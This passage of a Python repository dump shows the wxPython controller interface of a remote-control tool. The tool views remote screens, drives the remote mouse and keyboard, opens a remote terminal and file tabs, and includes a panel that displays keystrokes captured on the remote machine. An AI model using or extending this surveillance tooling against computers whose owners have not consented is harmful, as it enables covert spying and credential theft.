self.last_size_send > 0.1: 43 | new_size = self.GetSize() 44 | if 0 in new_size: 45 | return 46 | if new_size != self.last_size: 47 | packet = { 48 | "type": SET_SCREEN_SIZE, 49 | "data_max_size": 1024 * 1024, 50 | "size": tuple(new_size), 51 | } 52 | self.api.send_packet(packet) 53 | self.last_size = new_size 54 | self.last_size_send = perf_counter() 55 | if event: 56 | event.Skip() 57 | 58 | def on_menu(self, _): 59 | menu = wx.Menu() 60 | menu.Append(1, "获取屏幕") 61 | item: wx.MenuItem = menu.Append(2, "视频模式", kind=wx.ITEM_CHECK) 62 | menu.Bind(wx.EVT_MENU, self.send_get_screen, id=1) 63 | menu.Bind(wx.EVT_MENU, self.send_video_mode, id=2) 64 | item.Check(self.api.sending_screen) 65 | self.PopupMenu(menu) 66 | self.menu = menu 67 | 68 | def send_get_screen(self, _): 69 | packet = {"type": GET_SCREEN} 70 | self.api.send_packet(packet) 71 | 72 | def send_video_mode(self, _): 73 | self.api.set_screen_send(not self.api.sending_screen) 74 | 75 | def on_mouse(self, event: wx.MouseEvent): 76 | if self.api.mouse_control: 77 | packet = None 78 | if event.Moving() and perf_counter() - self.last_move_send > 0.1: 79 | packet = {"type": SET_MOUSE_POS, "x": event.GetX(), "y": event.GetY()} 80 | self.last_move_send = perf_counter() 81 | elif event.IsButton(): 82 | if event.ButtonDown(): 83 | packet = { 84 | "type": SET_MOUSE_BUTTON, 85 | "button": self.button_map[event.GetButton()], 86 | "state": 0, 87 | "x": event.GetX(), 88 | "y": event.GetY(), 89 | } 90 | elif event.ButtonUp(): 91 | packet = { 92 | "type": SET_MOUSE_BUTTON, 93 | "button": self.button_map[event.GetButton()], 94 | "state": 1, 95 | "x": event.GetX(), 96 | "y": event.GetY(), 97 | } 98 | 99 | if packet: 100 | self.api.send_packet(packet) 101 | if event: 102 | event.Skip() 103 | 104 | 105 | class ComputerControlSetter(Panel): 106 | def __init__(self, parent): 107 | super().__init__(parent=parent, size=(1500, 31)) 108 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 109 | 110 | self.SetFont(ft(13)) 111 | self.text = wx.StaticText(self, label="电脑控制:") 112 | self.mouse_ctl = wx.CheckBox(self, label="鼠标控制") 113 | self.mouse_ctl.Bind( 114 | wx.EVT_CHECKBOX, 115 | lambda _: self.api.set_mouse_ctl(self.mouse_ctl.GetValue()), 116 | ) 117 | self.keyboard_ctl = wx.CheckBox(self, label="键盘控制") 118 | self.keyboard_ctl.Bind( 119 | wx.EVT_CHECKBOX, 120 | lambda _: self.api.set_keyboard_ctl(self.keyboard_ctl.GetValue()), 121 | ) 122 | self.video_mode_ctl = wx.CheckBox(self, label="视频模式") 123 | self.video_mode_ctl.Bind( 124 | wx.EVT_CHECKBOX, 125 | lambda _: self.api.set_screen_send(self.video_mode_ctl.GetValue()), 126 | ) 127 | self.get_screen_btn = wx.Button(self, label="获取屏幕") 128 | self.get_screen_btn.Bind(wx.EVT_BUTTON, self.send_get_screen) 129 | self.api = get_api(self) 130 | 131 | self.text.SetFont(ft(14)) 132 | 133 | self.sizer.AddSpacer(10) 134 | self.sizer.Add(self.text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 135 | self.sizer.AddSpacer(20) 136 | self.sizer.Add(self.mouse_ctl, flag=wx.ALIGN_LEFT | wx.EXPAND) 137 | self.sizer.AddSpacer(20) 138 | self.sizer.Add(self.keyboard_ctl, flag=wx.ALIGN_LEFT | wx.EXPAND) 139 | self.sizer.AddSpacer(20) 140 | self.sizer.Add(self.video_mode_ctl, flag=wx.ALIGN_LEFT | wx.EXPAND) 141 | self.sizer.AddSpacer(20) 142 | self.sizer.Add( 143 | self.get_screen_btn, 144 | flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP | wx.BOTTOM, 145 | border=1, 146 | ) 147 | self.SetSizer(self.sizer) 148 | 149 | def send_get_screen(self, _): 150 | packet = {"type": GET_SCREEN, "size": tuple(self.GetSize())} 151 | self.api.send_packet(packet) 152 | 153 | 154 | class FormatRadioButton(wx.RadioButton): 155 | def __init__(self, parent, text: str, value, cbk): 156 | super().__init__(parent=parent, label=text) 157 | self.Bind(wx.EVT_RADIOBUTTON, lambda _: cbk(value)) 158 | self.Bind(wx.EVT_SIZE, lambda _: self.Update()) 159 | 160 | 161 | class PreScaleCheckBox(wx.CheckBox): 162 | def __init__(self, parent): 163 | super().__init__(parent=parent, label="预缩放") 164 | self.api = get_api(self) 165 | self.Bind(wx.EVT_CHECKBOX, self.OnSwitch) 166 | self.SetValue(True) 167 | 168 | def OnSwitch(self, _): 169 | enable = self.GetValue() 170 | self.api.set_pre_scale(enable) 171 | 172 | 173 | class ScreenFormatSetter(Panel): 174 | def __init__(self, parent): 175 | super().__init__(parent=parent, size=(1500, 31)) 176 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 177 | 178 | self.SetFont(ft(13)) 179 | self.text = wx.StaticText(self, label="屏幕格式:") 180 | self.jpg_button = FormatRadioButton(self, "JPG", ScreenFormat.JPEG, self.set_format) 181 | self.png_button = FormatRadioButton(self, "PNG", ScreenFormat.PNG, self.set_format) 182 | self.raw_button = FormatRadioButton(self, "Raw", ScreenFormat.RAW, self.set_format) 183 | self.pre_scale_box = PreScaleCheckBox(self) 184 | 185 | self.sizer.AddSpacer(10) 186 | self.sizer.Add(self.text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 187 | self.sizer.AddSpacer(15) 188 | self.sizer.Add(self.jpg_button, flag=wx.ALIGN_LEFT | wx.EXPAND) 189 | self.sizer.AddSpacer(25) 190 | self.sizer.Add(self.png_button, flag=wx.ALIGN_LEFT | wx.EXPAND) 191 | self.sizer.AddSpacer(25) 192 | self.sizer.Add(self.raw_button, flag=wx.ALIGN_LEFT | wx.EXPAND) 193 | self.sizer.AddSpacer(25) 194 | self.sizer.Add(self.pre_scale_box, flag=wx.ALIGN_LEFT | wx.EXPAND) 195 | 196 | self.jpg_button.SetValue(True) 197 | self.sizer.Layout() 198 | self.SetSizer(self.sizer) 199 | self.text.SetFont(ft(14)) 200 | self.api = get_api(self) 201 | 202 | BToolTip(self.text, "在屏幕的网络传输中使用的格式", ft(10)) 203 | BToolTip(self.pre_scale_box, "占用更少带宽", ft(10)) 204 | BToolTip(self.jpg_button, "带宽: 小, 质量: 高, 性能: 快", ft(10)) 205 | BToolTip(self.png_button, "带宽: 中, 质量: 无损, 性能: 慢", ft(10)) 206 | BToolTip(self.raw_button, "带宽: 大, 质量: 无损, 性能: 快", ft(10)) 207 | 208 | self.format_lock = Lock() 209 | self.Update() 210 | 211 | def set_format(self, value: str): 212 | controller: ScreenController = self.api.client.screen_tab.screen_panel.controller 213 | if value != ScreenFormat.JPEG: 214 | controller.sizer.Hide(controller.screen_quality_setter) 215 | else: 216 | controller.sizer.Show(controller.screen_quality_setter) 217 | start_and_return(self._set_format, (value,)) 218 | 219 | def _set_format(self, value: str): 220 | with self.format_lock: 221 | packet = {"type": SET_SCREEN_FORMAT, "format": value} 222 | if self.api.connected: 223 | self.api.send_packet(packet) 224 | 225 | 226 | class ScreenFPSSetter(Panel): 227 | def __init__(self, parent): 228 | super().__init__(parent=parent, size=(1500, 31)) 229 | 230 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 231 | self.text = wx.StaticText(self, label="监视帧率:") 232 | self.input_slider = InputSlider(self, value=10, _min=1, _max=60, _from=0, to=60) 233 | 234 | self.sizer.AddSpacer(10) 235 | self.sizer.Add(self.text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 236 | self.sizer.AddSpacer(15) 237 | self.sizer.Add(self.input_slider, flag=wx.ALIGN_LEFT | wx.EXPAND) 238 | 239 | BToolTip(self.text, "屏幕传输的帧率\n帧率越高, 带宽占用越大", ft(10)) 240 | 241 | self.text.SetFont(ft(14)) 242 | self.input_slider.cbk = get_api(self).set_screen_fps 243 | self.SetSizer(self.sizer) 244 | self.Update() 245 | 246 | 247 | class ScreenQualitySetter(Panel): 248 | def __init__(self, parent): 249 | super().__init__(parent=parent, size=(1500, 31)) 250 | 251 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 252 | self.text = wx.StaticText(self, label="屏幕质量:") 253 | self.input_slider = InputSlider(self, value=80, _min=1, _max=100, _from=0, to=100) 254 | 255 | self.sizer.AddSpacer(10) 256 | self.sizer.Add(self.text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 257 | self.sizer.AddSpacer(15) 258 | self.sizer.Add(self.input_slider, flag=wx.ALIGN_LEFT | wx.EXPAND) 259 | 260 | BToolTip(self.text, "屏幕传输的质量\n质量越高, 带宽占用越大", ft(10)) 261 | self.text.SetFont(ft(14)) 262 | self.input_slider.cbk = get_api(self).set_screen_quality 263 | self.SetSizer(self.sizer) 264 | 265 | 266 | class ScreenInformationShower(Panel): 267 | def __init__(self, parent): 268 | super().__init__(parent=parent, size=(1500, 32)) 269 | 270 | self.SetFont(ft(14)) 271 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 272 | self.FPS_text = wx.StaticText(self, label="FPS: 0") 273 | self.network_text = wx.StaticText(self, label="占用带宽: 0 KB/s") 274 | self.delay_text = wx.StaticText(self, label="延迟: 0 ms") 275 | self.sizer.AddSpacer(10) 276 | self.sizer.Add(self.FPS_text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 277 | self.sizer.AddSpacer(100) 278 | self.sizer.Add(self.network_text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 279 | self.sizer.AddSpacer(100) 280 | self.sizer.Add(self.delay_text, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=3) 281 | 282 | BToolTip(self.FPS_text, "反映了屏幕传输的流畅度", ft(10)) 283 | BToolTip(self.network_text, "屏幕传输占用的带宽", ft(10)) 284 | BToolTip(self.delay_text, "客户端到服务器的延迟", ft(10)) 285 | self.SetSizer(self.sizer) 286 | 287 | self.fps_avg = [] 288 | self.network_avg = [] 289 | self.collect_inv = 0.5 290 | self.api = get_api(self) 291 | self.update_timer = wx.Timer(self) 292 | self.Bind(wx.EVT_TIMER, self.update_data, self.update_timer) 293 | self.update_timer.Start(int(self.collect_inv * 1000)) 294 | self.delay_timer = wx.Timer(self) 295 | self.Bind(wx.EVT_TIMER, self.req_update_data, self.delay_timer) 296 | self.delay_timer.Start(1000) 297 | 298 | def update_data(self, event: wx.TimerEvent = None): 299 | self.update_fps() 300 | self.update_network() 301 | if event: 302 | event.Skip() 303 | 304 | def req_update_data(self, event: wx.TimerEvent = None): 305 | self.api.send_packet({"type": PING, "timer": perf_counter()}, priority=Priority.HIGHEST) 306 | event.Skip() 307 | 308 | def update_fps(self): 309 | self.fps_avg.append(self.api.screen_counter / self.collect_inv) 310 | self.api.screen_counter = 0 311 | if len(self.fps_avg) > 10: 312 | self.fps_avg.pop(0) 313 | self.FPS_text.SetLabel("FPS: " + str(round(sum(self.fps_avg) / len(self.fps_avg), 1))) 314 | 315 | def update_network(self): 316 | self.network_avg.append(self.api.screen_network_counter / self.collect_inv) 317 | self.api.screen_network_counter = 0 318 | if len(self.network_avg) > 10: 319 | self.network_avg.pop(0) 320 | self.network_text.SetLabel( 321 | "占用带宽: " + format_size(sum(self.network_avg) / len(self.network_avg)) + " /s" 322 | ) 323 | 324 | def update_delay(self, delay: int): 325 | self.delay_text.SetLabel(f"延迟: {round(delay*1000, 2)} ms") 326 | 327 | 328 | class ScreenController(Panel): 329 | def __init__(self, parent): 330 | super().__init__(parent=parent, size=(1270, 160)) 331 | self.sizer = wx.BoxSizer(wx.VERTICAL) 332 | self.control_setter = ComputerControlSetter(self) 333 | self.screen_format_setter = ScreenFormatSetter(self) 334 | self.screen_fps_setter = ScreenFPSSetter(self) 335 | self.screen_quality_setter = ScreenQualitySetter(self) 336 | self.info_shower = ScreenInformationShower(self) 337 | self.sizer.Add(self.control_setter, flag=wx.ALIGN_TOP | wx.EXPAND) 338 | # self.sizer.AddSpacer(2) 339 | self.sizer.Add(wx.StaticLine(self), flag=wx.ALIGN_TOP | wx.EXPAND) 340 | self.sizer.Add(self.screen_format_setter, flag=wx.ALIGN_TOP | wx.EXPAND) 341 | self.sizer.Add(self.screen_fps_setter, flag=wx.ALIGN_TOP | wx.EXPAND) 342 | self.sizer.Add( 343 | self.screen_quality_setter, 344 | flag=wx.ALIGN_TOP | wx.EXPAND | wx.RESERVE_SPACE_EVEN_IF_HIDDEN, 345 | ) 346 | self.sizer.AddSpacer(3) 347 | self.sizer.Add(wx.StaticLine(self), flag=wx.ALIGN_TOP | wx.EXPAND) 348 | self.sizer.Add(self.info_shower, flag=wx.ALIGN_TOP | wx.EXPAND) 349 | # self.sizer.Layout() 350 | self.SetSizer(self.sizer) 351 | 352 | 353 | class ScreenPanel(Panel): 354 | def __init__(self, parent): 355 | super().__init__(parent=parent, size=(960, 1112)) 356 | self.screen_shower = ScreenShower(self, (int(1920 / 2), int(1080 / 2))) 357 | self.controller = ScreenController(self) 358 | 359 | self.sizer = wx.BoxSizer(wx.VERTICAL) 360 | self.sizer.Add(self.screen_shower, flag=wx.ALIGN_TOP | wx.EXPAND, proportion=1) 361 | self.sizer.Add(self.controller, flag=wx.ALIGN_TOP | wx.EXPAND, proportion=0) 362 | self.sizer.Layout() 363 | self.SetSizer(self.sizer) 364 | 365 | self.screen_shower.SetSize((int(1920 / 1.5), int(1080 / 1.5))) 366 | 367 | 368 | class KeyMonitorPanel(Panel): 369 | def __init__(self, parent: wx.Window): 370 | super().__init__(parent=parent, size=(220, 680)) 371 | self.sizer = wx.StaticBoxSizer(wx.VERTICAL, self, "键盘监听") 372 | self.key_monitor = wx.ListBox(self, size=MAX_SIZE, style=wx.LB_HSCROLL) 373 | self.sizer.Add(self.key_monitor, flag=wx.ALIGN_TOP | wx.EXPAND) 374 | self.sizer.Layout() 375 | self.SetSizer(self.sizer) 376 | self.index = 0 377 | 378 | self.key_monitor.SetFont(ft(10)) 379 | self.key_monitor.Append("") 380 | self.key_monitor.Bind(wx.EVT_RIGHT_DOWN, self.on_menu) 381 | 382 | def add_string(self, s: str): 383 | try: 384 | s = self.key_monitor.GetString(self.index) + s 385 | self.key_monitor.SetString(self.index, s) 386 | except wxAssertionError: 387 | self.key_monitor.Append(s) 388 | 389 | def key_press(self, key: str): 390 | if key == "enter": 391 | self.add_string("↴") 392 | self.index += 1 393 | self.add_string("") 394 | return 395 | elif len(key) > 1: 396 | key = f"[{key}]" 397 | self.add_string(key) 398 | 399 | def on_menu(self, _): 400 | menu = wx.Menu() 401 | menu.Append(1, "清空") 402 | self.Bind(wx.EVT_MENU, self.clear, id=1) 403 | self.PopupMenu(menu) 404 | menu.Destroy() 405 | 406 | def clear(self, _): 407 | self.key_monitor.Clear() 408 | self.key_monitor.Append("") 409 | self.index = 0 410 | 411 | 412 | class ScreenTab(Panel): 413 | def __init__(self, parent): 414 | super().__init__(parent=parent, size=MAX_SIZE) 415 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 416 | self.screen_panel = ScreenPanel(self) 417 | self.key_panel = KeyMonitorPanel(self) 418 | 419 | self.sizer.Add(self.screen_panel, flag=wx.ALIGN_TOP | wx.EXPAND, proportion=32) 420 | self.sizer.Add(self.key_panel, flag=wx.ALIGN_TOP | wx.EXPAND, proportion=9) 421 | self.sizer.SetItemMinSize(self.key_panel, 250, 700) 422 | self.sizer.Layout() 423 | self.SetSizer(self.sizer) 424 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | # 导入必要的模块 2 | import os 3 | import wx # wxPython GUI库 4 | import time 5 | import ctypes # 用于调用Windows API 6 | import wx.grid # wxPython的表格组件 7 | from PIL import Image # 图像处理库 8 | from io import BytesIO # 内存字节流操作 9 | from time import localtime # 时间处理 10 | from ctypes import wintypes # Windows类型定义 11 | from os.path import join as abspath # 路径拼接 12 | from wx._core import wxAssertionError # wxPython断言错误 13 | from base64 import b64decode, b64encode # Base64编解码 14 | 15 | # 初始化wxPython应用 16 | app = wx.App() 17 | 18 | # 从自定义模块导入组件 19 | from gui.widgets import * 20 | from gui.screen import ScreenTab 21 | from gui.files import FilesTab, FileViewer 22 | from gui.terminal import TerminalTab 23 | from gui.network import NetworkTab 24 | from gui.action import ActionTab 25 | from gui.setting import SettingTab 26 | from libs.api import ClientAPI 27 | 28 | # 服务器监听地址和端口 29 | SERVER_ADDRESS = ("127.0.0.1", 10616) 30 | # 默认计算机显示文本 31 | DEFAULT_COMPUTER_TEXT = "已连接的电脑" 32 | 33 | # 定义Windows API函数原型 34 | ExtractIconExA = ctypes.windll.shell32.ExtractIconExA 35 | ExtractIconExA.argtypes = [ 36 | wintypes.LPCSTR, # 文件路径 37 | ctypes.c_int, # 图标索引 38 | ctypes.POINTER(wintypes.HICON), # 小图标句柄指针 39 | ctypes.POINTER(wintypes.HICON), # 大图标句柄指针 40 | wintypes.UINT, # 图标数量 41 | ] 42 | ExtractIconExA.restype = wintypes.UINT # 返回值类型 43 | 44 | def format_size(size_in_bytes) -> str: 45 | """格式化字节大小为易读的字符串""" 46 | units = ["B", "KB", "MB", "GB", "TB"] 47 | index = 0 48 | while size_in_bytes >= 1024 and index < len(units) - 1: 49 | size_in_bytes /= 1024 50 | index += 1 51 | return f"{size_in_bytes:.2f} {units[index]}" 52 | 53 | def GetSystemIcon(index: int) -> wx.Icon: 54 | """从系统shell32.dll中获取指定索引的图标""" 55 | shell32dll = ctypes.create_string_buffer("C:\\Windows\\System32\\shell32.dll".encode(), 260) 56 | small_icon = wintypes.HICON() # 小图标句柄 57 | ExtractIconExA( 58 | ctypes.cast(shell32dll, ctypes.c_char_p), # DLL路径 59 | index, # 图标索引 60 | ctypes.byref(small_icon), # 小图标输出 61 | None, # 不获取大图标 62 | 1, # 获取1个图标 63 | ) 64 | icon = wx.Icon() 65 | if small_icon.value: 66 | icon.SetHandle(small_icon.value) # 设置图标句柄 67 | else: 68 | icon = wx.NullIcon # 空图标 69 | return icon 70 | 71 | def load_icon_file(file_path: str) -> wx.Icon: 72 | """从文件加载图标""" 73 | return wx.Icon(name=abspath(file_path)) 74 | 75 | class ClientsContainer(wx.ScrolledWindow): 76 | """客户端卡片容器,带滚动条""" 77 | def __init__(self, parent: wx.Window): 78 | super().__init__(parent=parent, size=(500, 515)) 79 | self.sizer = wx.BoxSizer(wx.VERTICAL) # 垂直布局 80 | self.sizer.AddSpacer(1) # 添加间隔 81 | self.SetSizer(self.sizer) # 设置布局 82 | 83 | def add_card(self, client_card): 84 | """添加客户端卡片""" 85 | assert isinstance(client_card, ClientCard) 86 | self.sizer.Add(client_card, flag=wx.RIGHT, border=3) 87 | 88 | class ClientListWindow(wx.Frame): 89 | """客户端列表主窗口""" 90 | def __init__(self): 91 | wx.Frame.__init__(self, parent=None, title="客户端列表", size=(450, 515)) 92 | 93 | self.clients = {} # 存储客户端字典 94 | self.run_server() # 启动服务器线程 95 | self.SetIcon(load_icon_file("assets/client_list.ico")) # 设置窗口图标 96 | 97 | self.servers_container = ClientsContainer(self) # 创建客户端容器 98 | 99 | self.sizer = wx.BoxSizer(wx.VERTICAL) # 主布局 100 | self.sizer.Add(self.servers_container, wx.EXPAND) # 添加容器 101 | self.SetSizer(self.sizer) # 设置主布局 102 | 103 | self.Show() # 显示窗口 104 | 105 | def add_card(self, client): 106 | """添加客户端卡片""" 107 | assert isinstance(client, Client) 108 | card = ClientCard(self.servers_container, client) 109 | self.servers_container.add_card(card) 110 | return card 111 | 112 | def run_server(self): 113 | """启动服务器监听线程""" 114 | Thread(target=self.server_thread, daemon=True).start() 115 | 116 | def server_thread(self): 117 | """服务器监听线程""" 118 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 119 | sock.bind(SERVER_ADDRESS) # 绑定地址 120 | sock.listen(10) # 监听连接 121 | print(f"已在 {SERVER_ADDRESS[0]}:{SERVER_ADDRESS[1]} 上启动监听") 122 | while True: 123 | conn, addr = sock.accept() # 接受连接 124 | try: 125 | uuid = conn.recv(8) # 接收客户端UUID 126 | except ConnectionResetError: 127 | continue 128 | print("客户端UUID:", hex(int.from_bytes(uuid, "big"))) 129 | # 检查是否已存在该客户端 130 | for addr, client in self.clients.items(): 131 | assert isinstance(client, Client) 132 | if client.uuid == uuid: 133 | print("客户端已存在, 替换连接") 134 | client.reconnected(conn, addr, uuid) # 重新连接 135 | break 136 | else: 137 | # 新客户端,添加到列表 138 | wx.CallAfter(self.add_client, self, conn, addr, uuid) 139 | continue 140 | self.clients.pop(addr) 141 | self.clients[addr] = client 142 | 143 | def add_client(self, parent, connection: socket.socket, address, uuid: bytes): 144 | """添加新客户端""" 145 | timer = perf_counter() 146 | client = Client(parent, connection, address, uuid) 147 | print(f"客户端初始化耗时 {ms(timer)} ms") 148 | self.clients[address] = client 149 | 150 | class ClientCard(Panel): 151 | """客户端卡片控件""" 152 | def __init__(self, parent, client): 153 | assert isinstance(client, Client) 154 | super().__init__(parent=parent, size=(650, 88)) 155 | self.client = client 156 | 157 | # 重写客户端方法以便更新卡片状态 158 | self.raw_set_bitmap = client.screen_tab.screen_panel.screen_shower.set_bitmap 159 | client.screen_tab.screen_panel.screen_shower.set_bitmap = self.set_bitmap 160 | self.raw_parse_packet = client.parse_packet 161 | client.parse_packet = self.parse_packet 162 | self.raw_send_packet = client.send_packet 163 | client.send_packet = self.send_packet 164 | 165 | # 网络统计相关变量 166 | self.video_update_inv = 2 # 视频更新间隔(秒) 167 | self.last_video_update = 0 # 上次视频更新时间 168 | self.data_update_inv = 1 # 数据更新间隔(秒) 169 | self.upload_counter = 0 # 上传字节数 170 | self.download_counter = 0 # 下载字节数 171 | 172 | # 创建UI控件 173 | self.cover = wx.StaticBitmap(self, size=(128, 72)) # 缩略图 174 | self.text = wx.StaticText(self, label=DEFAULT_COMPUTER_TEXT) # 主机名 175 | self.state_infer = wx.StaticText(self) # 状态信息 176 | self.network_up = wx.StaticText(self, label="↑ 3.75 MB/s") # 上传速度 177 | self.network_down = wx.StaticText(self, label="↓ 2.67 KB/s") # 下载速度 178 | 179 | self.text.SetFont(ft(15)) # 设置字体 180 | # 绑定双击事件 181 | self.cover.Bind(wx.EVT_LEFT_DCLICK, self.on_open) 182 | self.state_infer.Bind(wx.EVT_LEFT_DCLICK, self.on_open) 183 | self.network_up.Bind(wx.EVT_LEFT_DCLICK, self.on_open) 184 | self.network_down.Bind(wx.EVT_LEFT_DCLICK, self.on_open) 185 | 186 | # 中间布局(主机名和状态) 187 | self.mid_sizer = wx.BoxSizer(wx.VERTICAL) 188 | self.mid_sizer.Add(self.text) 189 | self.mid_sizer.AddSpacer(10) 190 | self.mid_sizer.Add(self.state_infer) 191 | self.mid_sizer.Layout() 192 | 193 | # 右侧布局(网络速度) 194 | self.right_sizer = wx.BoxSizer(wx.VERTICAL) 195 | self.right_sizer.AddSpacer(10) 196 | self.right_sizer.Add(self.network_up) 197 | self.right_sizer.AddSpacer(4) 198 | self.right_sizer.Add(self.network_down) 199 | self.right_sizer.Layout() 200 | 201 | # 主布局 202 | self.main_sizer = wx.BoxSizer(wx.HORIZONTAL) 203 | self.main_sizer.Add( 204 | self.cover, 205 | flag=wx.TOP | wx.BOTTOM | wx.LEFT | wx.ALIGN_LEFT, 206 | border=8, 207 | proportion=0, 208 | ) 209 | self.main_sizer.Add(self.mid_sizer, flag=wx.EXPAND | wx.ALIGN_LEFT | wx.TOP | wx.LEFT, border=9) 210 | self.main_sizer.AddSpacer(10) 211 | self.main_sizer.Add( 212 | self.right_sizer, 213 | flag=wx.EXPAND | wx.ALIGN_LEFT | wx.TOP | wx.RIGHT, 214 | border=9, 215 | ) 216 | self.main_sizer.Fit(self) 217 | 218 | # 定时器用于更新数据 219 | self.timer = wx.Timer(self) 220 | self.Bind(wx.EVT_TIMER, self.update_data, self.timer) 221 | self.timer.Start(int(self.data_update_inv * 1000)) # 启动定时器 222 | self.Bind(wx.EVT_LEFT_DCLICK, self.on_open) # 绑定双击事件 223 | self.SetWindowStyle(wx.SIMPLE_BORDER) # 设置边框样式 224 | self.SetSizer(self.main_sizer) # 设置主布局 225 | 226 | def set_bitmap(self, bitmap: wx.Bitmap): 227 | """设置缩略图位图""" 228 | self.raw_set_bitmap(bitmap) # 调用原始方法 229 | # 按间隔更新缩略图 230 | if perf_counter() - self.last_video_update > self.video_update_inv: 231 | wx.CallAfter(self.parse_bitmap, bitmap) 232 | self.last_video_update = perf_counter() 233 | 234 | def parse_bitmap(self, bitmap: wx.Bitmap): 235 | """解析位图并显示为缩略图""" 236 | image: wx.Image = bitmap.ConvertToImage() 237 | try: 238 | image = image.Rescale(*self.cover.GetSize()) # 缩放图像 239 | except wxAssertionError: 240 | image = image.Rescale(128, 72) # 默认大小 241 | self.cover.SetBitmap(image.ConvertToBitmap()) # 设置缩略图 242 | self.main_sizer.Fit(self) # 调整布局 243 | 244 | def parse_packet(self, packet: Packet, length: int): 245 | """解析数据包并更新统计""" 246 | if packet["type"] == HOST_NAME: 247 | self.text.SetLabel(packet["name"]) # 更新主机名 248 | self.download_counter += length # 统计下载量 249 | return self.raw_parse_packet(packet, length) # 调用原始方法 250 | 251 | def send_packet(self, packet: Packet, loss_enable: bool = False, priority: int = Priority.HIGHER): 252 | """发送数据包并更新统计""" 253 | self.upload_counter += len(packet) # 统计上传量 254 | return self.raw_send_packet(packet, loss_enable, priority) # 调用原始方法 255 | 256 | def update_data(self, _): 257 | """定时更新数据显示""" 258 | if self.client.connected: 259 | self.text.Refresh() 260 | # 计算连接时长 261 | time = localtime(perf_counter() - self.client.connected_start) 262 | time_str = f"{str(time.tm_hour - 8).zfill(2)}:{str(time.tm_min).zfill(2)}:{str(time.tm_sec).zfill(2)}" 263 | self.state_infer.SetLabel(f"已连接: {time_str}") 264 | # 更新网络速度 265 | self.network_up.SetLabel(f"↑ {format_size(self.upload_counter / self.data_update_inv)}/s") 266 | self.network_down.SetLabel( 267 | f"↓ {format_size(self.download_counter / self.data_update_inv)}/s" 268 | ) 269 | self.upload_counter = 0 # 重置计数器 270 | self.download_counter = 0 271 | else: 272 | # 未连接状态 273 | self.state_infer.SetLabel("未连接") 274 | self.network_up.SetLabel("↑ 0B/s") 275 | self.network_down.SetLabel("↓ 0B/s") 276 | 277 | def on_open(self, _): 278 | """双击打开客户端窗口""" 279 | if not self.client.IsShown(): 280 | self.client.Show(True) 281 | self.client.Restore() # 恢复窗口 282 | self.client.SetFocus() # 获取焦点 283 | 284 | class Client(wx.Frame): 285 | """客户端主窗口""" 286 | def __init__( 287 | self, 288 | parent: wx.Frame, 289 | sock: socket.socket, 290 | address: tuple[str, int], 291 | uuid: bytes, 292 | ): 293 | wx.Frame.__init__(self, parent=parent, title=DEFAULT_COMPUTER_TEXT, size=(1250, 772)) 294 | 295 | # 初始化客户端属性 296 | self.sock = sock # 套接字 297 | self.address = address # 客户端地址 298 | self.uuid = uuid # 客户端唯一标识 299 | self.mouse_control = False # 鼠标控制标志 300 | self.keyboard_control = False # 键盘控制标志 301 | self.__connected = True # 连接状态 302 | self.pre_scale = True # 预缩放标志 303 | self.raw_title = DEFAULT_COMPUTER_TEXT # 原始标题 304 | self.sending_screen = False # 是否发送屏幕 305 | self.screen_counter = 0 # 屏幕帧计数器 306 | self.screen_network_counter = 0 # 屏幕网络流量计数器 307 | self.connected_start = perf_counter() # 连接开始时间 308 | self.packet_manager = PacketManager(self.connected, sock) # 数据包管理器 309 | self.files_list: dict[str, tuple[str, bytes]] = {} # 文件列表缓存 310 | self.file_downloads = {} # 文件下载跟踪字典 311 | 312 | self.SetFont(font) # 设置字体 313 | self.api = ClientAPI(self) # 客户端API 314 | self.init_ui() # 初始化UI 315 | # 启动接收和发送线程 316 | self.recv_thread = start_and_return(self.packet_recv_thread, name="RecvThread") 317 | self.send_thread = start_and_return(self.packet_send_thread, name="SendThread") 318 | start_and_return(self.state_init, name="StateInit") # 初始化状态 319 | self.Show() # 显示窗口 320 | self.SetPosition(wx.Point(15, 110)) # 设置窗口位置 321 | 322 | def init_ui(self): 323 | """初始化用户界面""" 324 | self.tab = wx.Notebook(self) # 创建标签页控件 325 | 326 | # 创建各个功能标签页 327 | self.screen_tab = ScreenTab(self.tab) # 屏幕标签页 328 | self.files_panel = FilesTab(self.tab) # 文件标签页 329 | self.terminal_panel = TerminalTab(self.tab) # 终端标签页 330 | self.network_panel = NetworkTab(self.tab) # 网络标签页 331 | self.action_panel = ActionTab(self.tab) # 操作标签页 332 | self.setting_panel = SettingTab(self.tab) # 配置标签页 333 | 334 | # 添加标签页 335 | self.tab.AddPage(self.screen_tab, "屏幕") 336 | self.tab.AddPage(self.files_panel, "文件") 337 | self.tab.AddPage(self.terminal_panel, "终端") 338 | self.tab.AddPage(self.network_panel, "网络") 339 | self.tab.AddPage(self.action_panel, "操作") 340 | self.tab.AddPage(self.setting_panel, "配置") 341 | 342 | self.SetIcon(GetSystemIcon(15)) # 设置窗口图标 343 | self.Bind(wx.EVT_CLOSE, self.on_close) # 绑定关闭事件 344 | parent: ClientListWindow = self.GetParent() 345 | self.client_card = parent.add_card(self) # 添加客户端卡片 346 | 347 | def reconnected(self, conn: socket.socket, addr: tuple[str, int], uuid: bytes): 348 | """重新连接客户端""" 349 | self.sock = conn 350 | self.address = addr 351 | self.uuid = uuid 352 | self.screen_counter = 0 353 | self.screen_network_counter = 0 354 | self.packet_manager = PacketManager(self.connected, conn) 355 | self.connected = True 356 | # 重新启动线程 357 | self.recv_thread = start_and_return(self.packet_recv_thread, name="RecvThread") 358 | self.send_thread = start_and_return(self.packet_send_thread, name="SendThread") 359 | self.terminal_panel.cmd_text.Clear() # 清空终端 360 | start_and_return(self.state_init, 